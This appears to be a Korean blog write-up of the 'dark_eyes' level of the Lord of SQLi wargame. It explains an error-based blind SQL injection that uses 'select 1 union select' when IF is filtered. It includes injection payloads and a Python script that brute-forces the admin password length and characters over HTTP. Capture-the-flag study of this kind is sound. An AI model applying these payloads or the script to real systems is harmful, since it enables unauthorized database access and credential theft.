ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LOS 22 - dark_eyes Write up (union select를 이용한 에러 기반 blind sql injection, if문 필터링 우회)
    CTF/Web 2020. 4. 1. 03:15
     
    이번 문제도 에러 기반의 문제이다.
    하지만 저번 문제에서 쓴 if문이 막혀버렸다.
     
    이럴 때는 union select를 사용하면 된다.
     
    union select 는 어떤 원리로 이용 할 수 있을까?
     
    우선 기존 union select 를 통한 우회방법을 인지하고서 풀 수 있는 문제이다.
    그점은 이번 라업에선 넘어가도록 하겠다.
     
     
    간단히 짚고 넘어가면
     
    select 1을 하면 필드에 1이 들어간다.
     
    그런데 여기에 union select를 하면 어떻게 될까?
     
     
    1뒤에 3이 밑에 들어간다.
     
    이걸 어떤식으로 이용하는 걸까?
    그건 바로 2줄이라는 특징을 이용하는 것이다.
     
    우선 우리가 푸는 Los 문제는 sql문을 읽고 가져오는 데이터가 1줄이다.
    하지만 우리가 2줄의 결과값을 억지로 넣어서 가져오게 한다면 어떻게 될까?
     
    ?pw='||(select 1 union select 2)%23
    을 넣어보았다.
    (select 문을 새롭게 써줄때는 소괄호로 묶어줘야한다.)
     
     
    아무것도 없는 화면이 나온다.
     
     if(mysqli_error($db)) exit();
     
    라는 구문에서 값이 2줄로 인한 오류로 exit()가 걸리게 된 것이다.
     
    하지만 만약 select 1 union select 1을 쓰면 어떻게 될까?
    1
    1
     
    이렇게 두줄이 출력될까?
    직접 한번 해보았다.
     
     
     
    놀랍게도 한줄로 '1'만 출력되었다.
    그러면 select 1 union select 1은 오류가 뜨지 않을 거라는 생각을 할 수가 있다.
    실제로 쿼리 값을 사이트에 집어넣어보면
     
     
     
    이런식으로 작성해주면 오류가 뜨지 않게 된다.
    그리고 이것을 우리는 bool 타입을 응용해서 쓸 수 있다.
     
    참의 값은 1을 반환한다는 것을 모두 알고 있을 것이다.
    그럼으로 마지막 '1'이 들어간 자리에 '1' 대신 다른 비교문들을 적어보는 것은 어떨까?
    그런 생각에서 출발하여 코딩을 하면 문제를 풀 수 있다.
     
     

     

    import requests
    url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?"
    headers = {"cookie":"PHPSESSID=1qp"}
    for i in range(1,300):
        query = "pw=' or id='admin' and (select 1 union select length(pw)={})%23".format(i)
        r = requests.get(url+query, headers=headers)
        print(query)
        if "query" in r.text:
            l = i+1
            print(l)
            break
    pw =''
    for i in range(1,l):
        for c in range(22,133):
            query = "pw='||id='admin' and (select 1 union select ord(substr(pw,{},1))={})%23".format(i,c)
            print(query)
            r = requests.get(url+query, headers=headers)
            if "query" in r.text:
                pw += chr(c)
                print(pw)
                break
    
     
     
    이런 식으로 작성을 하면 될것이다.
     

    댓글

Designed by Tistory.